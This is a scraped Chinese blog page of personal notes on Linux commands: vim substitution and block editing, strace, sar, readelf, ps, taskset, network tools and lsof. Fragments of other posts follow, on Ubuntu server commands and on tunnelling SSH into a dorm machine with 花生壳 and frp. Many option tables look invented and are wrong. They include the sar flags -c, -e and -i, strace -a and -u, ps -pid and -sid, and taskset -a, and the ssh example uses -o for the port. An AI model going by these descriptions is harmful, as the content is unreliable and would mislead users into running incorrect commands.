针对整个文档中的所有行进行替换，只替换每一行中满足条件的第一个结果\n:%s/要替换的关键词/替换后的关键词\n案例：把每一行中的第一个hello关键词都替换为hi\n:%s/hello/hi ④ 针对整个文档中的所有关键词进行替换（只要满足条件就进行替换操作）\n:%s/要替换的关键词/替换后的关键词/g\n案例：替换整个文档中的hello关键词为hi\n:%s/hello/hi/g 显示行号 基本语法：\n:set nu 【nu = number】，行号 可视化模式 1）如何进入到可视化模式 在命令模式中，直接按ctrl + v（可视块）或V（可视行）或v（可视），然后按下↑ ↓ ← →方向键来选中需要复制的区块，按下y 键进行复制（不要按下yy），最后按下p 键粘贴\n退出可视模式按下Esc\n2）可视化模式复制操作 第一步：在命令模式下，直接按小v，进入可视化模式\n第二步：使用方向键↑ ↓ ← →选择要复制的内容，然后按y键\n第三步：移动光标，停在需要粘贴的位置，按p键进行粘贴操作\n3）为配置文件添加#多行注释（!） 第一步：按Esc退出到命令模式，按gg切换到第1行\n第二步：然后按Ctrl+v进入到可视化区块模式（列模式）\n第三步：在行首使用上下键选择需要注释的多行\n第四步：按下键盘（大写）“I”键，进入插入模式（Shift + i）\n第五步：输入#号注释符\n第六步：输入完成后，连续按两次Esc即可完成添加多行注释的过程\n4）为配置文件去除#多行注释（!） 第一步：按Esc退出到命令模式，按gg切换到第1行\n第二步：然后按Ctrl+v进入可视化区块模式（列模式）\n第三步：使用键盘上的方向键的上下选中需要移除的#号注释\n第四步：直接按Delete键即可完成删除注释的操作\nstrace 通过strace命令可以看见某条指令发起了哪些系统调用。\nstrace -o hello.log ./hello strace -o hello.py.log python3 ./hello.py strace是一个Linux命令，用于跟踪进程执行时的系统调用和所接收的信号。在Linux世界，进程不能直接访问硬件设备，当进程需要访问硬件设备(比如读取磁盘文件，接收网络数据等等)时，必须由用户态模式切换至内核态模式，通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数，返回值，执行消耗的时间。\nstrace命令的语法如下：\nstrace [选项] 命令 [参数] 选项说明：\n-a：跟踪所有系统调用，包括不常用的系统调用。 -c：统计每一系统调用的所执行的时间,次数和出错的次数等。 -d：输出strace关于标准错误的调试信息。 -e：指定要跟踪的系统调用。 -f：跟踪由fork调用所产生的子进程。 -o：将输出保存到指定文件中。 -p：跟踪指定PID的进程。 -s：指定输出的行宽。 -t：输出时间戳。 -tt：输出毫秒级别的时间戳。 -T：输出每个系统调用所花费的时间。 -u：跟踪用户空间的地址空间。 -v：输出更详细的信息。 示例：\n跟踪ls命令的系统调用： strace ls 跟踪ls命令的系统调用，包括不常用的系统调用： strace -a ls 跟踪ls命令的系统调用，统计每个系统调用的所执行的时间、次数和出错的次数等： strace -c ls 跟踪ls命令的系统调用，输出到指定文件中： strace -o trace.log ls 跟踪指定PID为100的进程的系统调用： strace -p 100 跟踪用户空间的地址空间： strace -u strace是一个非常强大的工具，可以用于诊断、调试和教学。通过使用strace，可以了解进程是如何与内核进行交互的，从而帮助解决各种问题。\nman man指令是Linux和类Unix操作系统中内置的命令，用于显示命令、实用程序和函数的参考页面。它是一个非常有用的工具，可用于学习和使用这些系统上可用的大量工具。\n要使用man，只需键入man后跟您要了解的命令、实用程序或函数的名称。例如，要了解ls命令，您将键入man ls。\n每个命令的man页面分为几个部分，包括：\nNAME: 命令的名称和简短描述。 SYNOPSIS: 使用命令的语法。 DESCRIPTION: 命令的详细描述，包括其选项和参数。 EXAMPLES: 如何使用命令的示例。 FILES: 命令使用的文件列表。 SEE ALSO: 其他相关命令列表。 sar sar -P all 1 sar是Linux系统上用于收集系统性能数据的命令。它可以收集CPU、内存、磁盘、网络等方面的数据。sar命令的输出可以用于监控系统性能、诊断系统问题、进行性能分析等。\nsar命令的语法如下：\nsar [选项] [间隔] [持续时间] 选项说明：\n-a： 收集所有可用的数据。 -b： 收集块设备的数据。 -c： 收集CPU的数据。 -d： 收集磁盘设备的数据。 -e： 收集内存的数据。 -f： 从指定文件中读取数据。 -i： 收集网络设备的数据。 -n： 指定收集的数据项。 -r： 收集实时数据。 -u： 收集用户空间的数据。 -v： 输出更详细的信息。 -P： 可以加上ALL ，列出各个CPU上的情况 间隔说明：\n间隔以秒为单位，默认为1秒。 持续时间说明：\n持续时间以秒为单位，默认为无限长。 示例：\n收集所有可用的数据，间隔为1秒，持续时间为10秒： sar -a 1 10 收集CPU的数据，间隔为5秒，持续时间为1分钟： sar -c 5 60 收集内存的数据，间隔为1分钟，持续时间为1小时： sar -e 1 3600 收集网络设备的数据，间隔为1小时，持续时间为24小时： sar -i 1 86400 sar命令的输出格式：\nsar命令的输出格式如下：\n时间戳 数据项 值 时间戳以秒为单位，数据项表示收集的数据类型，值表示数据的值。\nsar命令的常用用法：\n监控系统性能：使用sar命令可以监控系统的CPU、内存、磁盘、网络等方面的性能。 诊断系统问题：使用sar命令可以帮助诊断系统性能问题。 进行性能分析：使用sar命令可以进行性能分析，以了解系统的瓶颈。 以下是一些sar命令的常用用法：\n监控CPU使用率： sar -c 监控内存使用率： sar -e 监控磁盘读写速度： sar -d 监控网络流量： sar -i 监控系统负载： sar -u readelf readelf -h /bin/sleep readelf命令是Linux系统上用于显示ELF文件信息的命令。它可以显示ELF文件的文件头、程序头、节头、符号表、重定位表等信息。readelf命令可以用于调试程序、学习ELF文件格式等。\nreadelf命令的语法如下：\nreadelf [选项] 文件 选项说明：\n-a： 显示所有信息。 -h： 显示文件头信息。 -l： 显示程序头信息。 -S： 显示节头信息。 -s： 显示符号表信息。 -r： 显示重定位表信息。 -d： 显示动态链接信息。 -e： 显示所有头信息。 -x： 显示只读数据段。 -z： 显示字符串表。 示例：\n显示可执行文件ls的所有信息： readelf -a ls 显示可执行文件ls的文件头信息： readelf -h ls 显示可执行文件ls的程序头信息： readelf -l ls 显示可执行文件ls的节头信息： readelf -S ls 显示可执行文件ls的符号表信息： readelf -s ls 显示可执行文件ls的重定位表信息： readelf -r ls 显示可执行文件ls的动态链接信息： readelf -d ls readelf命令的输出格式：\nreadelf命令的输出格式取决于指定的选项。\nreadelf命令的常用用法：\n调试程序：使用readelf命令可以查看程序的符号表和重定位表信息，这对于调试程序很有帮助。 学习ELF文件格式：使用readelf命令可以查看ELF文件的所有信息，这对于学习ELF文件格式很有帮助。 以下是一些readelf命令的常用用法：\n查看可执行文件的所有信息： readelf -a 文件 查看可执行文件的文件头信息： readelf -h 文件 查看可执行文件的程序头信息： readelf -l 文件 查看可执行文件的节头信息： readelf -S 文件 查看可执行文件的符号表信息： readelf -s 文件 查看可执行文件的重定位表信息： readelf -r 文件 查看可执行文件的动态链接信息： readelf -d 文件 ps ps命令是Linux系统上用于显示当前系统进程信息的命令。它可以显示进程的PID、进程名称、进程状态、用户、CPU使用率、内存使用率等信息。ps命令可以用于监控系统进程、诊断系统问题、进行性能分析等。\nps命令的语法如下：\nps [选项] 选项说明：\n-a： 显示所有进程。 -u： 显示用户进程。 -x： 显示所有进程，包括守护进程。 -l： 显示详细信息。 -e： 此参数的效果和指定\u0026quot;A\u0026quot;参数相同。 -f： 显示完整的命令行。 -o： 指定显示的列。 -pid： 指定进程的PID。 -ppid： 指定进程的父进程的PID。 -sid： 指定进程的会话ID。 -tty： 指定进程的终端。 示例：\n显示所有进程： ps -a 显示用户进程： ps -u 显示所有进程，包括守护进程： ps -x 显示详细信息： ps -l 显示完整的命令行： ps -f 指定显示的列： ps -o pid,ppid,comm,state,pcpu,mem 指定进程的PID： ps -p 1234 指定进程的父进程的PID： ps -ppid 1234 指定进程的会话ID： ps -sid 1234 指定进程的终端： ps -tty /dev/tty1 ps命令的输出格式：\nps命令的输出格式取决于指定的选项。\nps命令的常用用法：\n监控系统进程：使用ps命令可以监控系统进程的状态，以了解系统的运行情况。 诊断系统问题：使用ps命令可以帮助诊断系统问题，例如进程卡死、内存泄漏等。 进行性能分析：使用ps命令可以进行性能分析，以了解系统的瓶颈。 以下是一些ps命令的常用用法：\n查看所有进程： ps -a 查看用户进程： ps -u 查看所有进程，包括守护进程： ps -x 查看详细信息： ps -l 查看完整的命令行： ps -f 查看指定进程的信息： ps -p 1234 查看指定进程的父进程的信息： ps -ppid 1234 查看指定进程的会话ID： ps -sid 1234 查看指定进程的终端： ps -tty /dev/tty1 taskset taskset命令是Linux系统上用于设置进程亲和力的命令。亲和力是指进程运行在哪些CPU上。taskset命令可以用于提高进程的性能或稳定性。\ntaskset命令的语法如下：\ntaskset [选项] 进程ID [CPU列表] 选项说明：\n-c： 指定CPU列表。 # 查看逻辑cpu个数 grep -c processor /proc/cpuinfo -p： 指定进程ID。 -a： 指定所有进程。 示例：\n将进程ID为1234的进程绑定到CPU 0： taskset -c 0 1234 将所有进程绑定到CPU 0： taskset -c 0 -a 将进程ID为1234的进程绑定到CPU 0 和 1： taskset -c 0,1 1234 taskset命令的输出格式：\ntaskset命令没有输出格式。\ntaskset命令的常用用法：\n提高进程的性能：将进程绑定到特定的CPU可以提高进程的性能，因为进程不需要在多个CPU之间切换。 提高进程的稳定性：将进程绑定到特定的CPU可以提高进程的稳定性，因为进程不会与其他进程竞争CPU资源。 以下是一些taskset命令的常用用法：\n将计算密集型进程绑定到特定的CPU： taskset -c 0,1,2,3 ./my_computation_intensive_program 将IO密集型进程绑定到特定的CPU： taskset -c 4,5,6,7 ./my_io_intensive_program 将需要实时响应的进程绑定到特定的CPU： taskset -c 0 ./my_real_time_program 网络命令 ipconfig, ifconfig, ip ipconfig是windows中的命令，linux上是ifconfig，但ip命令比ifconfig更强大，旨在取代ifconfig命令。\nping ping命令是DOS命令，一般用于检测网络是否通畅以及网络连接速度，结果只越大，说明速度越慢。它使用网络层的ICMP协议。\nping [参数选项] [主机名或IP地址] linux\n参数 含义 -c 设置完成要求回应的次数 -i 指定收发信息的间隔时间 -s 设置数据包的大小 -w 在设定的秒后退出 windows\n参数 含义 -t 连续对IP地址执行ping命令，直到用户以\u0026lt;control+c\u0026gt;键强制中断 -l 指定ping命令的数据长度 -n 执行特定次数的ping命令 netstat netstat 用来查看当前操作系统的网络连接状态、路由表、接口统计等信息，来自于 net-tools 工具包，ss 是 netstat 的升级版。\n参数 含义 -a 显示主机中所有活动的网络连接信息 (包括监听、非监听状态的服务端口) -n 以数字的形式显示相关的主机地址、端口等信息 -p 显示与网络连接相关联的进程号、进程名称信息 (该选项需要 root 权限) -l 显示处于监听 (Listen) 状态的网络连接及端口信息 -t 查看 TCP (Transmission Control Protocol，传输控制协议) 相关的信息 -u 显示 UDP (User Datagram Protocol，用户数据报协议) 协议相关的信息 -r 显示路由表信息 -i 显示网卡列表 -g 显示组播组的关系 -s 显示网络统计信息 常用命令选项：\nnetstat [-anpt] [-anpu] [-anptu] [-anpltu] [-ntlp] ss ss 命令来自于 iproute 包，是 netstat 的升级版本。netstat 通过遍历 /proc 来获取 socket 信息，ss 使用 netlink 与内核 tcp_diag 模块通信获取 socket 信息。 格式：\nss [OPTION]... [FILTER] 参数 含义 -a 显示主机中所有活动的网络连接信息 (包括监听、非监听状态的服务端口) -n 以数字的形式显示相关的主机地址、端口等信息 -p 显示与网络连接相关联的进程号、进程名称信息 (该选项需要 root 权限) -l 显示处于监听 (Listen) 状态的网络连接及端口信息 -t 查看 TCP (Transmission Control Protocol，传输控制协议) 相关的信息 -u 显示 UDP (User Datagram Protocol，用户数据报协议) 协议相关的信息 -x unix sock 相关 -w 裸套接字相关 -e 扩展的信息 -m 内存用量 -o 计时器信息 #显示本地打开的所有端口 ss -l #列出当前 socket 详细信息 ss -s #显示每个进程具体打开的 socket ss -pl #显示所有 tcp socket ss -at #显示所有的 udp socket ss -au #显示所有已建立的 ssh 连接 ss -o state established \u0026#39;( dport = :ssh or sport = :ssh )\u0026#39; #显示所有已建立的HTTP连接 ss -o state established \u0026#39;( dport = :http or sport = :http )\u0026#39; traceroute traceroute 命令可以用于测试从当前主机到目的主机之间经过了哪些网络结点，并显示各个中间结点的连接状态（响应时间）。对于无法响应的结点，连接状态将显示为 “*”，预设数据包大小是 40Bytes，用户可另行设置。如果没有 traceroute 命令可执行 yum -y install traceroute 安装。\n格式：\ntraceroute [参数] [主机|IP] 参数：\n参数 含义 -d 使用 Socket 层级的排错功能 -f 设置第一个检测数据包的存活数值 TTL 的大小 -F 设置勿离断位 -g 设置来源路由网关，最多可设置 8 个 -i 使用指定的网络界面送出数据包 -l I 使用 ICMP 回应取代 UDP 资料信息 -m 设置检测数据包的最大存活数值 TTL 的大小 -n 直接使用 IP 地址而非主机名称 -p 设置 UDP 传输协议的通信端口 -r 忽略普通的 Routing Table，直接将数据包送到远端主机上 -s 设置本地主机送出数据包的 IP 地址 -t 设置检测数据包的 TOS 数值 -v 详细显示指令的执行过程 -w 设置等待远端主机回报的时间 -x 开启或关闭数据包的正确性检验 [root@c7-1 ~]#traceroute 20.0.0.25 traceroute to 20.0.0.25 (20.0.0.25), 30 hops max, 60 byte packets 1 20.0.0.25 (20.0.0.25) 0.942 ms 0.782 ms 0.647 ms #可以看到这两台机器之间没有经过路由，是直连或连着交换机的状态 [root@c7-1 ~]#traceroute www.baidu.com traceroute to www.baidu.com (112.80.248.75), 30 hops max, 60 byte packets 1 gateway (20.0.0.2) 5.900 ms 5.817 ms 5.758 ms 2 * * * 3 * * * 4 * * * ...... nslookup nslookup是一个用于查询域名系统（DNS）以获取有关域名、IP地址和其他DNS记录信息的网络管理命令行工具。\nnslookup 域名 示例：\n[root@c7-1 ~]#nslookup www.baidu.com Server:\t20.0.0.2 Address:\t20.0.0.2#53 Non-authoritative answer: www.baidu.com\tcanonical name = www.a.shifen.com. Name:\twww.a.shifen.com Address: 112.80.248.75 Name:\twww.a.shifen.com Address: 112.80.248.76 [root@c7-1 ~]#nslookup www.google.com Server:\t20.0.0.2 Address:\t20.0.0.2#53 Non-authoritative answer: Name:\twww.google.com Address: 104.244.46.208 Name:\twww.google.com Address: 2001::1f0d:5211 [root@c7-1 ~]#cat /etc/resolv.conf\t#域名解析配置文件 # Generated by NetworkManager # 一行一个 DNS，最多配置三个 DNS，优先使用第一个 DNS 服务器 nameserver 20.0.0.2 [root@c7-1 ~]#cat /etc/hosts 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 112.80.248.75 www.baidu.com #/etc/hosts 文件中记录着一份主机名与 IP 地址的映射关系表，一般用来保存经常需要访问的主机的信息。当访问一个未知的域名时，先查找该文件中是否有相应的映射记录，如果找不到再去向 DNS 服务器查询。 ARP ARP（Address Resolution Protocol，地址解析协议）缓冲区是在计算机或网络设备上维护的一个表格，用于存储 IP 地址与MAC 地址之间的映射关系。ARP 协议用于将目标主机的 IP 地址解析成其对应的 MAC 地址，从而实现数据在网络上的正确传输。\n在一个局域网中，当计算机 A 需要与计算机 B 进行通信时，A 需要知道 B 的 MAC 地址才能正确发送数据包。这时，A 发送一个 ARP 请求广播，询问网络中是否有拥有特定 IP 地址的设备，并且请求对应设备的 MAC 地址。设备 B 收到请求后，会回复一个 ARP 响应，包含其自己的 MAC 地址。一旦 A 收到了 B 的 MAC 地址，它就可以将数据包正确地发送给 B。\nARP 缓冲区（或称为 ARP 表格、ARP 缓存）在这个过程中起到了重要作用。当设备 A 解析了设备 B 的 IP 地址并获取到 B 的 MAC 地址后，它将这个映射关系存储在 ARP 缓冲区中。这样，以后 A 需要与 B 通信时，就无需再次发送 ARP 请求，而是直接从 ARP 缓冲区中获取 B 的 MAC 地址，从而加速通信过程。\narp 命令用于操作主机的 arp 缓冲区，可以用来显示 arp 缓冲区中的所有条目、删除指定的条目或者添加静态的 ip 地址与 MAC 地址对应关系。\n格式：\narp [-vn] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] [-a] [\u0026lt;hostname\u0026gt;] \u0026lt;-Display ARP cache arp [-v] [-i \u0026lt;if\u0026gt;] -d \u0026lt;host\u0026gt; [pub] \u0026lt;-Delete ARP entry arp [-vnD] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -f [\u0026lt;filename\u0026gt;] \u0026lt;-Add entry from file arp [-v] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -s \u0026lt;host\u0026gt; \u0026lt;hwaddr\u0026gt; [temp] \u0026lt;-Add entry arp [-v] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -Ds \u0026lt;host\u0026gt; \u0026lt;if\u0026gt; [netmask \u0026lt;nm\u0026gt;] pub \u0026lt;-\u0026#39;\u0026#39;- 参数：\n-a\u0026lt;主机\u0026gt;：\t显示 arp 缓冲区的所有条目 -H\u0026lt;地址类型\u0026gt;：\t指定 arp 指令使用的地址类型 -d\u0026lt;主机\u0026gt;：\t从 arp 缓冲区中删除指定主机的 arp 条目 -D：\t使用指定接口的硬件地址 -e：\t以 Linux 的显示风格显示 arp 缓冲区中的条目 -i\u0026lt;接口\u0026gt;：\t指定要操作 arp 缓冲区的网络接口 -s\u0026lt;主机\u0026gt;\u0026lt;MAC地址\u0026gt;：设置指定的主机的 IP 地址与 MAC 地址的静态映射 -n：\t以数字方式显示 arp 缓冲区中的条目 -v：\t显示详细的 arp 缓冲区条目，包括缓冲区条目的统计信息 -f\u0026lt;文件\u0026gt;：\t设置主机的 IP 地址与 MAC 地址的静态映射\n示例：\n#显示 ARP 表 arp -n\t或\tip neigh #ARP 静态绑定 MAC 地址可以防止 ARP 欺骗 arp -s 10.0.0.6 00:0c:29:32:80:38 #删除 arp 缓存条目 arp -d 10.0.0.6 #指定回复的 MAC 地址 arp -i eth0 -Ds 10.0.0.2 eth1 pub FTP FTP（File Transfer Protocol）是一种用于在网络上传输文件的标准协议。你可以使用命令行界面或者专门的 FTP 客户端来测试和使用 FTP 命令。下面是一些基本的 FTP 命令以及如何进行测试：\n连接到 FTP 服务器： 使用以下命令连接到 FTP 服务器，其中 \u0026lt;server_address\u0026gt; 是服务器的地址（域名或 IP 地址）：\nftp \u0026lt;server_address\u0026gt; 输入该命令后，你将会被要求输入用户名和密码来进行身份验证。\n浏览远程目录： 连接成功后，你可以使用 ls 命令列出远程服务器上的文件和目录。\n切换远程目录： 使用 cd 命令来切换远程服务器上的目录：\ncd \u0026lt;directory_name\u0026gt; 下载文件： 使用 get 命令来下载远程服务器上的文件到本地：\nget \u0026lt;remote_file_name\u0026gt; 上传文件： 使用 put 命令来上传本地文件到远程服务器：\nput \u0026lt;local_file_name\u0026gt; 退出 FTP 会话： 使用 quit 或 bye 命令来退出 FTP 会话：\nquit 请注意，上述命令只是 FTP 命令的一小部分，而实际的 FTP 客户端可能提供更多功能和选项。如果你在终端或命令提示符中直接使用上述命令，确保你已经连接到一个可用的 FTP 服务器，并且你已经登录并有足够的权限进行操作。\nlsof 列出所有打开了的网络文件 [root@ecs-centos-7 ~]# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ntpd 567 ntp 18u IPv4 12657 0t0 UDP localhost:ntp ntpd 567 ntp 22u IPv6 16095 0t0 UDP ecs-centos-7.4-64bit-20200212:ntp dhclient 651 root 6u IPv4 14594 0t0 UDP *:bootpc master 960 root 13u IPv4 15791 0t0 TCP localhost:smtp (LISTEN) master 960 root 14u IPv6 15792 0t0 TCP localhost:smtp (LISTEN) mysqld 1053 mysql 13u IPv6 15147 0t0 TCP *:mysql (LISTEN) sshd 1348 root 3u IPv4 16698 0t0 TCP *:ssh (LISTEN) 列出所有 IPV4/6 网络文件 列出所有已经打开了的 ipv4 网络文件\n[root@ecs-centos-7 ~]# lsof -i 4 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ntpd 567 ntp 16u IPv4 12651 0t0 UDP *:ntp ntpd 567 ntp 18u IPv4 12657 0t0 UDP localhost:ntp ntpd 567 ntp 21u IPv4 16094 0t0 UDP ecs-centos-7.4-64bit-20200212:ntp dhclient 651 root 6u IPv4 14594 0t0 UDP *:bootpc master 960 root 13u IPv4 15791 0t0 TCP localhost:smtp (LISTEN) sshd 1348 root 3u IPv4 16698 0t0 TCP *:ssh (LISTEN) 所有已经打开了的 ipv6 网络文件\n[root@ecs-centos-7 ~]# lsof -i 6 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ntpd 567 ntp 17u IPv6 12652 0t0 UDP *:ntp ntpd 567 ntp 19u IPv6 12658 0t0 UDP localhost:ntp ntpd 567 ntp 22u IPv6 16095 0t0 UDP ecs-centos-7.4-64bit-20200212:ntp master 960 root 14u IPv6 15792 0t0 TCP localhost:smtp (LISTEN) mysqld 1053 mysql 13u IPv6 15147 0t0 TCP *:mysql (LISTEN) sshd 1348 root 4u IPv6 16700 0t0 TCP *:ssh (LISTEN) 列出在指定端口上打开的文件 使用 lsof -i:端口号 可以获得所有在指定端口号上打开的文件\n[root@ecs-centos-7 ~]# lsof -i:22 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 1348 root 3u IPv4 16698 0t0 TCP *:ssh (LISTEN) sshd 1348 root 4u IPv6 16700 0t0 TCP *:ssh (LISTEN) sshd 27741 root 3u IPv4 458958 0t0 TCP ecs-centos-7.4-64bit-20200212:ssh-\u0026gt;113.118.121.220:42395 (ESTABLISHED) sshd 27819 root 3u IPv4 459250 0t0 TCP ecs-centos-7.4-64bit-20200212:ssh-\u0026gt;113.118.121.220:19807 (ESTABLISHED) sshd 27895 root 3u IPv4 459828 0t0 TCP 上面例子列出了所有在22号端口上打开的文件\n在服务器开发中，经常会部署一个网关或者代理程序，用来和客户端通讯，网关或者代理程序需要开放一个固定的端口供客户端连接用\n如果客户端连接不上网关或者代理程序，我们可以用上述命令检查网关或代理程序的端口是否开启，来排除因为端口关闭了导致连接不上网关的情况\n列出使用了指定协议(TCP/UDP) 的文件 使用 lsof -i TCP/UDP 列出使用了TCP 或 UDP 协议的文件\n[root@cghost8 /home/cgyx]# lsof -i TCP | more COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 1704 root 3u IPv4 13593 0t0 TCP *:ssh (LISTEN) sshd 1704 root 4u IPv6 13595 0t0 TCP *:ssh (LISTEN) redis-serer 1725 root 4u IPv4 19773 0t0 TCP localhost:6380 (LISTEN) nc 2067 cgyx 4u IPv4 39167 0t0 TCP *:60600 (LISTEN) mysqld 3020 mysql 4u IPv6 5514608 0t0 TCP 192.168.70.10:mysql-\u0026gt;192.168.70.10:37084 (ESTABLISHED) 使用 lsof -i TCP:3306 列出使用了TCP 协议并且端口为3306的文件\n[root@cghost8 /home/cgyx]# lsof -i TCP:3306 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME mysqld 3020 mysql 4u IPv6 5514608 0t0 TCP 192.168.70.10:mysql-\u0026gt;192.168.70.10:37084 (ESTABLISHED) 使用 lsof -i TCP:1-1024 列出使用了TCP协议并且端口范围为 1 到 1024 的文件\n[root@cghost8 /home/cgyx]# lsof -i TCP:1-1024 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 1704 root 3u IPv4 13593 0t0 TCP *:ssh (LISTEN) sshd 1704 root 4u IPv6 13595 0t0 TCP *:ssh (LISTEN) cupsd 1709 root 12u IPv6 39148 0t0 TCP localhost:ipp (LISTEN) cupsd 1709 root 13u IPv4 39149 0t0 TCP localhost:ipp (LISTEN) smbd 1824 root 35u IPv6 17658 0t0 TCP *:microsoft-ds (LISTEN) smbd 1824 root 36u IPv6 17659 0t0 TCP *:netbios-ssn (LISTEN) smbd 1824 root 37u IPv4 17660 0t0 TCP *:microsoft-ds (LISTEN) smbd 1824 root 38u IPv4 17661 0t0 TCP *:netbios-ssn (LISTEN) 列出指定进程ID打开的文件 进程ID是操作系统进程的唯一标识，以下命令列出了进程ID为 1053 相关的文件, 从结果中可以知道这个进程ID对应的进程是MySQL\n[root@ecs-centos-7 ~]# lsof -p 1053 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME mysqld 1053 mysql cwd DIR 253,1 4096 1055765 /var/lib/mysql mysqld 1053 mysql rtd DIR 253,1 4096 2 / mysqld 1053 mysql txt REG 253,1 251841448 534935 /usr/sbin/mysqld mysqld 1053 mysql mem REG 253,1 209512 659436 /usr/lib64/mysql/plugin/validate_password.so mysqld 1053 mysql 1w REG 253,1 206658 924771 /var/log/mysqld.log mysqld 1053 mysql 2w REG 253,1 206658 924771 /var/log/mysqld.log 上述命令中，-p 选项后面可以指定多个进程ID，每个进程ID之间用逗号分隔，如果想排除掉某个进程打开的文件，可以在该进程ID前面加上 ^符号\nlsof -p 1,2,3,^4 上述命令会列出进程1，进程2，进程3打开的所有文件，同时忽略进程4打开的文件\n杀死指定用户的所有进程 前面介绍了列出指定用户所有打开的文件，我们可以组合 kill 命令一起使用，实现杀死指定用户的所有进程的功能，具体的命令如下\nkill -9 `lsof -t -u tt` 上述命令中，lsof -u tt 是列出tt用户所有打开的文件，加上 -t 选项之后表示结果只列出PID列，也就是进程ID列，其他列都忽略，前面的 kill -9 表示强制结束指定的进程ID\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/ubuntu-commands/","summary":"创建用户 # 新建用户 sudo adduser newuser # 添加到用户组 sudo usermod -aG sudo newuser # 这里-aG选项表示将用户添加到指定组中。sudo是Ubuntu中默认的超级用户组。 查看系统信息 查看CPU信息:\nlscpu: 显示CPU架构信息，如型号、核心数、线程数等。 top 或 htop（需要安装）: 实时显示CPU使用率及其它系统信息。 不得不说htop比top好用太多！\n查看GPU信息 (如果安装了NVIDIA GPU):\nnvidia-smi: 显示NVIDIA GPU的状态，包括使用率、温度、显存使用等。 查看内存信息:\nfree -m: 显示内存使用情况，包括总量、使用中、空闲等，单位为MB。 vmstat: 显示内存统计信息及系统进程、交换、IO等信息。 查看网络信息:\nifconfig（在某些系统中可能需要安装net-tools）: 显示网络接口配置信息。 ip addr: 显示网络接口的IP地址。 netstat（可能需要安装）: 显示网络连接、路由表、接口统计等信息。 nload 或 iftop（需要安装）: 实时监控网络流量和带宽使用。 关闭桌面 如果您的Ubuntu服务器当前运行着GNOME或任何其他图形界面，并且您想要关闭这个图形界面（也就是说，让服务器运行在纯命令行模式），您可以按照以下步骤操作：\n关闭GNOME或图形界面 停止图形界面服务:\n对于使用systemd的系统（如最新版的Ubuntu），您可以使用以下命令停止gdm（GNOME Display Manager）或类似的服务： sudo systemctl stop gdm3 如果您不确定是哪个显示管理器（比如可能是lightdm, sddm等），可以先检查当前运行的显示管理器： systemctl list-units --type=service | grep -E \u0026#39;gdm|sddm|lightdm|x11\u0026#39; 禁用自动启动:\n如果您不想在每次启动时自动进入图形界面，可以禁用对应的服务： sudo systemctl disable gdm3 再次启用GNOME或图形界面 当您需要再次启用GNOME或其他图形界面时，您可以使用以下命令：","title":"Ubuntu服务器命令小记"},{"content":"想法产生 主机一般都放在宿舍内的，想要从其他地方访问宿舍内的服务器非常的不方便，但是又奈何宿舍宽带很难申请公网IP，所以才会想到用内网穿透的方式实现对宿舍内主机的访问。\nnotes 宿舍内都是局域网，连接到的校园网wifi或者宽带分配的IP都会随着重新连接产生变动，所以在此会使用到DDns技术。ddns就是把一个动态变化的IP地址和一个不变的域名绑定在一起，直接访问这个域名就可以实现访问到这个变化的IP地址的作用。 花生壳免费版会赠送一个域名，可以直接实现内网穿透，比较简便； frp适合有一个公网IP，然后通过公网IP的转发实现内网穿透。 在此之前，请确保已经安装openssh-server!!!\n花生壳实现 大致流程\n在花生壳官网上面下载linux版本的客户端； 安装完成之后在终端中输入： sudo phddns start sudo phddns enable sudo phddns status 然后会出现一个SN码，这个SN码就相当于这个主机的ID，然后在花生壳官网上使用SN码进行登录，密码默认是admin\n通过sn登录之后再绑定到注册的花生壳帐号上；再到花生壳内网穿透界面去添加映射，内网地址填127.0.0.1或者是自己的局域网地址好像我都实验成功过。\n都设置好之后可以在映射旁边又一个诊断按钮，可以看是否成功了。\n在进行ssh连接的时候只需要ssh -o 12345 your_name@xxxxxx.xx就行了；\n12345是你的映射上的外网端口，your_name是你的内网的用户名，xxxx.xx是你的域名\n可能会出现的问题 首先请查看官方文档\n第一步的内网服务和花生壳服务器连接不上 你可以phddns status检查一下他是OFFLINE还是ONLINE的状态，遇到OFFLINE就需要重启服务\n等到他变成ONLINE之后，在检查花生壳网站上的最右上角的头像，鼠标悬浮就能看到有一个状态，状态若是离线，但是phddns又是ONLINE，就退出重新登录一下就好了。\n同时可以看看左边边栏上有一个设备管理。\nfrp实现 访问frp的github仓库releases页面：https://github.com/fatedier/frp/releases\nfrp的官方文档：https://gofrp.org/zh-cn/docs/overview/\n通过 SSH 访问内网机器\n步骤 在具有公网 IP 的机器上部署 frps\n部署 frps 并编辑 frps.toml 文件。以下是简化的配置，其中设置了 frp 服务器用于接收客户端连接的端口：\nbindPort = 7000 log_file = /var/log/frps.log 在frps中添加上日志文件的位置/var/log/frps.log，方便查看。\n这里还支持dashboard，prometheus监控等功能。 参考配置：https://cloud.tencent.com/developer/article/1837482\n[common] # frp监听的端口，默认是7000，可以改成其他的 bind_port = 7000 # 授权码，请改成更复杂的 token = 52010 # 这个token之后在客户端会用到 # frp管理后台端口，请按自己需求更改 dashboard_port = 7500 # frp管理后台用户名和密码，请改成自己的 dashboard_user = admin dashboard_pwd = admin enable_prometheus = true # frp日志配置 log_file = /var/log/frps.log log_level = info log_max_days = 3 在需要被访问的内网机器上部署 frpc\n部署 frpc 并编辑 frpc.toml 文件，假设 frps 所在服务器的公网 IP 地址为 x.x.x.x。以下是示例配置：\nserverAddr = \u0026#34;x.x.x.x\u0026#34; serverPort = 7000 [[proxies]] name = \u0026#34;ssh\u0026#34; type = \u0026#34;tcp\u0026#34; localIP = \u0026#34;127.0.0.1\u0026#34; localPort = 22 remotePort = 6000 localIP 和 localPort 